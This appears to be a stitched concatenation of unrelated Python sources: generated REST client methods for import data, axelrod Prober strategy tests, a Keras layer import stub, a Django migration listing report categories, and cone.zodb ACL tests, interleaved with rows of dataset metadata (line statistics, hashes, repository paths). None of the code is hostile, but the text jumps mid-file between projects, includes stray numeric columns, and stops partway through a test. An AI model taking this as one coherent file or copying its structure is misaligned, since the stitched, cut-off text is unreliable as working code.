async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def delete_import_data(self, container_id, import_id, data_id, **kwargs): # noqa: E501
"""DeleteImportData # noqa: E501
Delete a single piece of data from an import. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_import_data(container_id, import_id, data_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str container_id: (required)
:param str import_id: (required)
:param int data_id: (required)
:return: Generic200Response
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.delete_import_data_with_http_info(container_id, import_id, data_id, **kwargs) # noqa: E501
else:
(data) = self.delete_import_data_with_http_info(container_id, import_id, data_id, **kwargs) # noqa: E501
return data
def delete_import_data_with_http_info(self, container_id, import_id, data_id, **kwargs): # noqa: E501
"""DeleteImportData # noqa: E501
Delete a single piece of data from an import. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_import_data_with_http_info(container_id, import_id, data_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str container_id: (required)
:param str import_id: (required)
:param int data_id: (required)
:return: Generic200Response
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['container_id', 'import_id', 'data_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_import_data" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'container_id' is set
if ('container_id' not in params or
params['container_id'] is None):
raise ValueError("Missing the required parameter `container_id` when calling `delete_import_data`") # noqa: E501
# verify the required parameter 'import_id' is set
if ('import_id' not in params or
params['import_id'] is None):
raise ValueError("Missing the required parameter `import_id` when calling `delete_import_data`") # noqa: E501
# verify the required parameter 'data_id' is set
if ('data_id' not in params or
params['data_id'] is None):
raise ValueError("Missing the required parameter `data_id` when calling `delete_import_data`") # noqa: E501
collection_formats = {}
path_params = {}
if 'container_id' in params:
path_params['container_id'] = params['container_id'] # noqa: E501
if 'import_id' in params:
path_params['import_id'] = params['import_id'] # noqa: E501
if 'data_id' in params:
path_params['data_id'] = params['data_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['httpBearer'] # noqa: E501
return self.api_client.call_api(
'/containers/{container_id}/import/imports/{import_id}/data/{data_id}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Generic200Response', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def list_imports_data(self, container_id, import_id, **kwargs): # noqa: E501
"""ListImportsData # noqa: E501
List the data for an import. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_imports_data(container_id, import_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str container_id: (required)
:param str import_id: (required)
:param str count: boolean indicating if the return value should be a count only
:param int limit:
:param int offset:
:param str sort_by: column to sort results by
:param bool sort_desc: boolean indicating if results should be in descending order
:return: ListImportDataResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.list_imports_data_with_http_info(container_id, import_id, **kwargs) # noqa: E501
else:
(data) = self.list_imports_data_with_http_info(container_id, import_id, **kwargs) # noqa: E501
return data
def list_imports_data_with_http_info(self, container_id, import_id, **kwargs): # noqa: E501
"""ListImportsData # noqa: E501
List the data for an import. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_imports_data_with_http_info(container_id, import_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str container_id: (required)
:param str import_id: (required)
:param str count: boolean indicating if the return value should be a count only
:param int limit:
:param int offset:
:param str sort_by: column to sort results by
:param bool sort_desc: boolean indicating if results should be in descending order
:return: ListImportDataResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['container_id', 'import_id', 'count', 'limit', 'offset', 'sort_by', 'sort_desc'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method list_imports_data" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'container_id' is set
if ('container_id' not in params or
params['container_id'] is None):
raise ValueError("Missing the required parameter `container_id` when calling `list_imports_data`") # noqa: E501
# verify the required parameter 'import_id' is set
if ('import_id' not in params or
params['import_id'] is None):
raise ValueError("Missing the required parameter `import_id` when calling `list_imports_data`") # noqa: E501
collection_formats = {}
path_params = {}
if 'container_id' in params:
path_params['container_id'] = params['container_id'] # noqa: E501
if 'import_id' in params:
path_params['import_id'] = params['import_id'] # noqa: E501
query_params = []
if 'count' in params:
query_params.append(('count', params['count'])) # noqa: E501
if 'limit' in params:
query_params.append(('limit', params['limit'])) # noqa: E501
if 'offset' in params:
query_params.append(('offset', params['offset'])) # noqa: E501
if 'sort_by' in params:
query_params.append(('sortBy', params['sort_by'])) # noqa: E501
if 'sort_desc' in params:
query_params.append(('sortDesc', params['sort_desc'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['httpBearer'] # noqa: E501
return self.api_client.call_api(
'/containers/{container_id}/import/imports/{import_id}/data', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='ListImportDataResponse', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def retrieve_import_data(self, container_id, import_id, data_id, **kwargs): # noqa: E501
"""RetrieveImportData # noqa: E501
Retrieve a single piece of data from an import. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.retrieve_import_data(container_id, import_id, data_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str container_id: (required)
:param str import_id: (required)
:param int data_id: (required)
:return: GetImportDataResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.retrieve_import_data_with_http_info(container_id, import_id, data_id, **kwargs) # noqa: E501
else:
(data) = self.retrieve_import_data_with_http_info(container_id, import_id, data_id, **kwargs) # noqa: E501
return data
def retrieve_import_data_with_http_info(self, container_id, import_id, data_id, **kwargs): # noqa: E501
"""RetrieveImportData # noqa: E501
Retrieve a single piece of data from an import. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.retrieve_import_data_with_http_info(container_id, import_id, data_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str container_id: (required)
:param str import_id: (required)
:param int data_id: (required)
:return: GetImportDataResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['container_id', 'import_id', 'data_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method retrieve_import_data" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'container_id' is set
if ('container_id' not in params or
params['container_id'] is None):
raise ValueError("Missing the required parameter `container_id` when calling `retrieve_import_data`") # noqa: E501
# verify the required parameter 'import_id' is set
if ('import_id' not in params or
params['import_id'] is None):
raise ValueError("Missing the required parameter `import_id` when calling `retrieve_import_data`") # noqa: E501
# verify the required parameter 'data_id' is set
if ('data_id' not in params or
params['data_id'] is None):
raise ValueError("Missing the required parameter `data_id` when calling `retrieve_import_data`") # noqa: E501
collection_formats = {}
path_params = {}
if 'container_id' in params:
path_params['container_id'] = params['container_id'] # noqa: E501
if 'import_id' in params:
path_params['import_id'] = params['import_id'] # noqa: E501
if 'data_id' in params:
path_params['data_id'] = params['data_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['httpBearer'] # noqa: E501
return self.api_client.call_api(
'/containers/{container_id}/import/imports/{import_id}/data/{data_id}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='GetImportDataResponse', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_import_data(self, container_id, import_id, data_id, **kwargs): # noqa: E501
"""UpdateImportData # noqa: E501
Update the data of an existing import. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_import_data(container_id, import_id, data_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str container_id: (required)
:param str import_id: (required)
:param int data_id: (required)
:param DataStaging body:
:return: UpdateImportDataResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.update_import_data_with_http_info(container_id, import_id, data_id, **kwargs) # noqa: E501
else:
(data) = self.update_import_data_with_http_info(container_id, import_id, data_id, **kwargs) # noqa: E501
return data
def update_import_data_with_http_info(self, container_id, import_id, data_id, **kwargs): # noqa: E501
"""UpdateImportData # noqa: E501
Update the data of an existing import. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_import_data_with_http_info(container_id, import_id, data_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str container_id: (required)
:param str import_id: (required)
:param int data_id: (required)
:param DataStaging body:
:return: UpdateImportDataResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['container_id', 'import_id', 'data_id', 'body'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_import_data" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'container_id' is set
if ('container_id' not in params or
params['container_id'] is None):
raise ValueError("Missing the required parameter `container_id` when calling `update_import_data`") # noqa: E501
# verify the required parameter 'import_id' is set
if ('import_id' not in params or
params['import_id'] is None):
raise ValueError("Missing the required parameter `import_id` when calling `update_import_data`") # noqa: E501
# verify the required parameter 'data_id' is set
if ('data_id' not in params or
params['data_id'] is None):
raise ValueError("Missing the required parameter `data_id` when calling `update_import_data`") # noqa: E501
collection_formats = {}
path_params = {}
if 'container_id' in params:
path_params['container_id'] = params['container_id'] # noqa: E501
if 'import_id' in params:
path_params['import_id'] = params['import_id'] # noqa: E501
if 'data_id' in params:
path_params['data_id'] = params['data_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['httpBearer'] # noqa: E501
return self.api_client.call_api(
'/containers/{container_id}/import/imports/{import_id}/data/{data_id}', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='UpdateImportDataResponse', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
| 44.380895
| 1,455
| 0.629703
| 4,403
| 36,703
| 4.995458
| 0.071542
| 0.048011
| 0.036326
| 0.036281
| 0.905297
| 0.898341
| 0.896749
| 0.891157
| 0.889248
| 0.88702
| 0
| 0.015751
| 0.282157
| 36,703
| 826
| 1,456
| 44.434625
| 0.819069
| 0.346538
| 0
| 0.774554
| 0
| 0
| 0.235944
| 0.050002
| 0
| 0
| 0
| 0
| 0
| 1
| 0.033482
| false
| 0
| 0.223214
| 0
| 0.305804
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
90992180660cda6bd1307945e41e82863a3fcc29
| 4,266
|
py
|
Python
|
axelrod/tests/unit/test_prober.py
|
lipingzhu/Zero-determinant
|
6e30aa72358d5dfc3975abe433d0d13cc3a750a1
|
[
"MIT"
] | null | null | null |
axelrod/tests/unit/test_prober.py
|
lipingzhu/Zero-determinant
|
6e30aa72358d5dfc3975abe433d0d13cc3a750a1
|
[
"MIT"
] | null | null | null |
axelrod/tests/unit/test_prober.py
|
lipingzhu/Zero-determinant
|
6e30aa72358d5dfc3975abe433d0d13cc3a750a1
|
[
"MIT"
] | null | null | null |
"""Tests for prober strategies."""
import random
import axelrod
from .test_player import TestPlayer
C, D = axelrod.Actions.C, axelrod.Actions.D
class TestProber(TestPlayer):
name = "Prober"
player = axelrod.Prober
expected_classifier = {
'memory_depth': float('inf'), # Long memory
'stochastic' : False,
'makes_use_of': set(),
'inspects_source': False,
'manipulates_source': False,
'manipulates_state': False
}
def test_initial_strategy(self):
"""Starts by playing DCC."""
self.responses_test([], [], [D, C, C])
def test_strategy(self):
# Defects forever if opponent cooperated in moves 2 and 3
self.responses_test([D, C, C], [C, C, C], [D] * 10)
self.responses_test([D, C, C], [D, C, C], [D] * 10)
# Otherwise it plays like TFT
self.responses_test([D, C, C], [C, D, C], [C])
self.responses_test([D, C, C], [C, D, D], [D])
self.responses_test([D, C, C, C], [C, D, C, D], [D])
self.responses_test([D, C, C, D], [C, D, D], [D])
class TestProber2(TestPlayer):
name = "Prober 2"
player = axelrod.Prober2
expected_classifier = {
'memory_depth': float('inf'), # Long memory
'stochastic' : False,
'makes_use_of': set(),
'inspects_source': False,
'manipulates_source': False,
'manipulates_state': False
}
def test_initial_strategy(self):
"""Starts by playing DCC."""
self.responses_test([], [], [D, C, C])
def test_strategy(self):
# Cooperates forever if opponent played D, C in moves 2 and 3
self.responses_test([D, C, C], [C, D, C], [C] * 10)
self.responses_test([D, C, C], [D, D, C], [C] * 10)
# Otherwise it plays like TFT
self.responses_test([D, C, C], [C, C, C], [C])
self.responses_test([D, C, C], [C, D, D], [D])
self.responses_test([D, C, C, D], [C, D, D, D], [D])
self.responses_test([D, C, C, D], [C, D, D, C], [C])
class TestProber3(TestPlayer):
name = "Prober 3"
player = axelrod.Prober3
expected_classifier = {
'memory_depth': float('inf'), # Long memory
'stochastic' : False,
'makes_use_of': set(),
'inspects_source': False,
'manipulates_source': False,
'manipulates_state': False
}
def test_initial_strategy(self):
"""Starts by playing DC."""
self.responses_test([], [], [D, C])
def test_strategy(self):
# Defects forever if opponent played C in move 2
self.responses_test([D, C], [C, C], [D] * 10)
self.responses_test([D, C], [D, C], [D] * 10)
# Otherwise it plays like TFT
self.responses_test([D, C, C], [C, D], [D])
self.responses_test([D, C, C], [D, D], [D])
self.responses_test([D, C, C, D], [C, D, C], [C])
self.responses_test([D, C, C, D], [D, D, D], [D])
self.responses_test([D, C, C, D, C], [C, D, C, C], [C])
class TestHardProber(TestPlayer):
name = "Hard Prober"
player = axelrod.HardProber
expected_classifier = {
'memory_depth': float('inf'), # Long memory
'stochastic' : False,
'makes_use_of': set(),
'inspects_source': False,
'manipulates_source': False,
'manipulates_state': False
}
def test_initial_strategy(self):
"""Starts by playing DC."""
self.responses_test([], [], [D, D, C, C])
def test_strategy(self):
# Cooperates forever if opponent played C in moves 2 and 3
self.responses_test([D, D, C, C], [C, C, C, C], [D] * 10)
self.responses_test([D, D, C, C], [C, C, C, D], [D] * 10)
self.responses_test([D, D, C, C], [D, C, C, C], [D] * 10)
self.responses_test([D, D, C, C], [D, C, C, D], [D] * 10)
# Otherwise it plays like TFT
self.responses_test([D, D, C, C], [C, C, D, C], [C, C])
self.responses_test([D, D, C, C], [C, C, D, D], [D])
self.responses_test([D, D, C, C], [D, D, C, C], [C, C])
self.responses_test([D, D, C, C], [D, D, C, D], [D])
self.responses_test([D, D, C, C, D], [C, C, D, D], [D])
self.responses_test([D, D, C, C, D], [D, D, C, C], [C])
| 32.564885
| 69
| 0.54196
| 616
| 4,266
| 3.633117
| 0.113636
| 0.068811
| 0.060322
| 0.265416
| 0.838248
| 0.836014
| 0.831546
| 0.828865
| 0.809205
| 0.777927
| 0
| 0.010718
| 0.278247
| 4,266
| 130
| 70
| 32.815385
| 0.716142
| 0.116971
| 0
| 0.449438
| 0
| 0
| 0.102145
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.089888
| false
| 0
| 0.033708
| 0
| 0.303371
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
90d1c80d21d5c88ecf7f688b9f7f9c065f9d92be
| 143
|
py
|
Python
|
keras/layers/local.py
|
ikingye/keras
|
1a3ee8441933fc007be6b2beb47af67998d50737
|
[
"MIT"
] | 5
|
2020-11-30T22:26:03.000Z
|
2020-12-01T22:34:25.000Z
|
keras/layers/local.py
|
ikingye/keras
|
1a3ee8441933fc007be6b2beb47af67998d50737
|
[
"MIT"
] | 10
|
2020-12-01T22:55:29.000Z
|
2020-12-11T18:31:46.000Z
|
keras/layers/local.py
|
ikingye/keras
|
1a3ee8441933fc007be6b2beb47af67998d50737
|
[
"MIT"
] | 15
|
2020-11-30T22:12:22.000Z
|
2020-12-09T01:32:48.000Z
|
"""Locally-connected layers."""
from tensorflow.keras.layers import LocallyConnected1D
from tensorflow.keras.layers import LocallyConnected2D
| 28.6
| 54
| 0.839161
| 15
| 143
| 8
| 0.6
| 0.233333
| 0.316667
| 0.416667
| 0.516667
| 0
| 0
| 0
| 0
| 0
| 0
| 0.015152
| 0.076923
| 143
| 4
| 55
| 35.75
| 0.893939
| 0.174825
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
90e7e51c36da7e66e3fc9ab79dfcc39d9241210c
| 3,026
|
py
|
Python
|
fec/home/migrations/0078_auto_20170404_2137.py
|
rds0751/fec-cms
|
833cdac7240d056ed234ed5b503a2407e1fee1ce
|
[
"CC0-1.0"
] | 47
|
2015-09-09T14:23:30.000Z
|
2019-12-29T13:58:41.000Z
|
fec/home/migrations/0078_auto_20170404_2137.py
|
rds0751/fec-cms
|
833cdac7240d056ed234ed5b503a2407e1fee1ce
|
[
"CC0-1.0"
] | 3,183
|
2018-03-09T20:30:55.000Z
|
2022-03-30T21:27:49.000Z
|
fec/home/migrations/0078_auto_20170404_2137.py
|
rds0751/fec-cms
|
833cdac7240d056ed234ed5b503a2407e1fee1ce
|
[
"CC0-1.0"
] | 27
|
2015-08-20T02:10:13.000Z
|
2021-02-14T10:51:18.000Z
|
# -*- coding: utf-8 -*-
# Generated by Django 1.10.5 on 2017-04-04 21:37
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('home', '0077_auto_20170331_1711'),
]
operations = [
migrations.AlterField(
model_name='documentpage',
name='category',
field=models.CharField(choices=[('audit report', 'Audit report'), ('inspection or special review report', 'Inspection or special review report'), ('semiannual report', 'Semiannual report'), ('strategic plan', 'Strategic plan'), ('work plan', 'Work plan'), ('annual performance report', 'Annual performance report'), ('agency financial report', 'Agency Financial Report'), ('congressional submission', 'Congressional submission'), ('it strategic plan', 'IT strategic plan'), ('performance and accountability report', 'Performance and accountability report'), ('summary of performance and financial information', 'Summary of performance and financial information'), ('annual report', 'Annual report'), ('summary report', 'Summary report'), ('privacy act notice', 'Privacy Act notice'), ('privacy policy', 'Privacy policy'), ('buy america report', 'Buy America report'), ('fair act', 'FAIR Act'), ('inventory', 'Inventory'), ('memo', 'Memo'), ('public procurement report', 'Public procurement report'), ('request for proposal', 'Request for proposal'), ('anniversary report', 'Anniversary report'), ('gift report', 'Gift report'), ('shutdown plan', 'Shutdown plan'), ('study', 'Study')], max_length=255, null=True),
),
migrations.AlterField(
model_name='resourcepage',
name='category',
field=models.CharField(blank=True, choices=[('audit report', 'Audit report'), ('inspection or special review report', 'Inspection or special review report'), ('semiannual report', 'Semiannual report'), ('strategic plan', 'Strategic plan'), ('work plan', 'Work plan'), ('annual performance report', 'Annual performance report'), ('agency financial report', 'Agency Financial Report'), ('congressional submission', 'Congressional submission'), ('it strategic plan', 'IT strategic plan'), ('performance and accountability report', 'Performance and accountability report'), ('summary of performance and financial information', 'Summary of performance and financial information'), ('annual report', 'Annual report'), ('summary report', 'Summary report'), ('privacy act notice', 'Privacy Act notice'), ('privacy policy', 'Privacy policy'), ('buy america report', 'Buy America report'), ('fair act', 'FAIR Act'), ('inventory', 'Inventory'), ('memo', 'Memo'), ('public procurement report', 'Public procurement report'), ('request for proposal', 'Request for proposal'), ('anniversary report', 'Anniversary report'), ('gift report', 'Gift report'), ('shutdown plan', 'Shutdown plan'), ('study', 'Study')], help_text='If this is a report, add a category', max_length=255, null=True),
),
]
| 116.384615
| 1,285
| 0.693325
| 333
| 3,026
| 6.261261
| 0.279279
| 0.04988
| 0.034532
| 0.047962
| 0.848921
| 0.799041
| 0.799041
| 0.799041
| 0.799041
| 0.799041
| 0
| 0.015081
| 0.145406
| 3,026
| 25
| 1,286
| 121.04
| 0.791183
| 0.022472
| 0
| 0.333333
| 1
| 0
| 0.645008
| 0.007783
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.111111
| 0
| 0.277778
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
29395d03d7c7e74425169f584ec87cd3d77c40cc
| 40
|
py
|
Python
|
app/modules/authentication/schema/__init__.py
|
sanjaykhanal/FastAPIStarter
|
13ed63dd25e2df6ff9f5a757b75a9366df565d26
|
[
"MIT"
] | null | null | null |
app/modules/authentication/schema/__init__.py
|
sanjaykhanal/FastAPIStarter
|
13ed63dd25e2df6ff9f5a757b75a9366df565d26
|
[
"MIT"
] | null | null | null |
app/modules/authentication/schema/__init__.py
|
sanjaykhanal/FastAPIStarter
|
13ed63dd25e2df6ff9f5a757b75a9366df565d26
|
[
"MIT"
] | null | null | null |
from . import users
from . import roles
| 13.333333
| 19
| 0.75
| 6
| 40
| 5
| 0.666667
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.2
| 40
| 2
| 20
| 20
| 0.9375
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
295bfcbd35b9b947e7c08a0d4b116472efa4a22b
| 5,130
|
py
|
Python
|
src/cone/zodb/tests/test_common.py
|
conestack/cone.zodb
|
eb1170b42deb3da598204f563589f37f3e79d3b1
|
[
"BSD-2-Clause"
] | null | null | null |
src/cone/zodb/tests/test_common.py
|
conestack/cone.zodb
|
eb1170b42deb3da598204f563589f37f3e79d3b1
|
[
"BSD-2-Clause"
] | null | null | null |
src/cone/zodb/tests/test_common.py
|
conestack/cone.zodb
|
eb1170b42deb3da598204f563589f37f3e79d3b1
|
[
"BSD-2-Clause"
] | null | null | null |
from cone.zodb import testing
from cone.zodb.testing import ZODBPrincipalACLEntry
from cone.zodb.testing import ZODBPrincipalACLNode
from cone.zodb.testing import ZODBPrincipalACLEntryNode
from node.ext.zodb import OOBTNodeAttributes
from node.tests import NodeTestCase
from pyramid.security import ALL_PERMISSIONS
class TestCommon(NodeTestCase):
layer = testing.zodb_layer
def test_ZODBPrincipalACL(self):
node = ZODBPrincipalACLNode()
self.assertTrue(isinstance(node.principal_roles, OOBTNodeAttributes))
self.assertEqual(node.principal_roles.name, 'principal_roles')
node.principal_roles['someuser'] = ['manager']
acl = node.__acl__
self.assertEqual(acl[0][0], 'Allow')
self.assertEqual(acl[0][1], 'someuser')
self.assertEqual(sorted(acl[0][2]), [
'add', 'change_state', 'copy', 'cut', 'delete', 'edit',
'list', 'manage', 'manage_permissions', 'paste', 'view'
])
self.assertEqual(acl[1][0], 'Allow')
self.assertEqual(acl[1][1], 'system.Authenticated')
self.assertEqual(sorted(acl[1][2]), ['view'])
self.assertEqual(acl[2][0], 'Allow')
self.assertEqual(acl[2][1], 'role:viewer')
self.assertEqual(sorted(acl[2][2]), ['list', 'view'])
self.assertEqual(acl[3][0], 'Allow')
self.assertEqual(acl[3][1], 'role:editor')
self.assertEqual(sorted(acl[3][2]), ['add', 'edit', 'list', 'view'])
self.assertEqual(acl[4][0], 'Allow')
self.assertEqual(acl[4][1], 'role:admin')
self.assertEqual(sorted(acl[4][2]), [
'add', 'change_state', 'copy', 'cut', 'delete', 'edit',
'list', 'manage_permissions', 'paste', 'view'
])
self.assertEqual(acl[5][0], 'Allow')
self.assertEqual(acl[5][1], 'role:manager')
self.assertEqual(sorted(acl[5][2]), [
'add', 'change_state', 'copy', 'cut', 'delete', 'edit',
'list', 'manage', 'manage_permissions', 'paste', 'view'
])
self.assertEqual(acl[6][0], 'Allow')
self.assertEqual(acl[6][1], 'role:owner')
self.assertEqual(sorted(acl[6][2]), [
'add', 'change_state', 'copy', 'cut', 'delete', 'edit',
'list', 'manage_permissions', 'paste', 'view'
])
self.assertEqual(acl[7][0], 'Allow')
self.assertEqual(acl[7][1], 'system.Everyone')
self.assertEqual(sorted(acl[7][2]), ['login'])
self.assertEqual(acl[8][0], 'Deny')
self.assertEqual(acl[8][1], 'system.Everyone')
self.assertEqual(acl[8][2], ALL_PERMISSIONS)
def test_ZODBEntryPrincipalACL(self):
self.layer.new_request()
node = ZODBPrincipalACLEntry()
self.assertTrue(isinstance(node.storage, ZODBPrincipalACLEntryNode))
self.assertTrue(isinstance(node.principal_roles, OOBTNodeAttributes))
self.assertEqual(node.principal_roles.name, 'principal_roles')
self.assertTrue(node.storage.principal_roles is node.principal_roles)
node.principal_roles['someuser'] = ['manager']
acl = node.__acl__
self.assertTrue(node.storage.__acl__ == node.__acl__)
self.assertEqual(acl[0][0], 'Allow')
self.assertEqual(acl[0][1], 'someuser')
self.assertEqual(sorted(acl[0][2]), [
'add', 'change_state', 'copy', 'cut', 'delete', 'edit',
'list', 'manage', 'manage_permissions', 'paste', 'view'
])
self.assertEqual(acl[1][0], 'Allow')
self.assertEqual(acl[1][1], 'system.Authenticated')
self.assertEqual(sorted(acl[1][2]), ['view'])
self.assertEqual(acl[2][0], 'Allow')
self.assertEqual(acl[2][1], 'role:viewer')
self.assertEqual(sorted(acl[2][2]), ['list', 'view'])
self.assertEqual(acl[3][0], 'Allow')
self.assertEqual(acl[3][1], 'role:editor')
self.assertEqual(sorted(acl[3][2]), ['add', 'edit', 'list', 'view'])
self.assertEqual(acl[4][0], 'Allow')
self.assertEqual(acl[4][1], 'role:admin')
self.assertEqual(sorted(acl[4][2]), [
'add', 'change_state', 'copy', 'cut', 'delete', 'edit',
'list', 'manage_permissions', 'paste', 'view'
])
self.assertEqual(acl[5][0], 'Allow')
self.assertEqual(acl[5][1], 'role:manager')
self.assertEqual(sorted(acl[5][2]), [
'add', 'change_state', 'copy', 'cut', 'delete', 'edit',
'list', 'manage', 'manage_permissions', 'paste', 'view'
])
self.assertEqual(acl[6][0], 'Allow')
self.assertEqual(acl[6][1], 'role:owner')
self.assertEqual(sorted(acl[6][2]), [
'add', 'change_state', 'copy', 'cut', 'delete', 'edit',
'list', 'manage_permissions', 'paste', 'view'
])
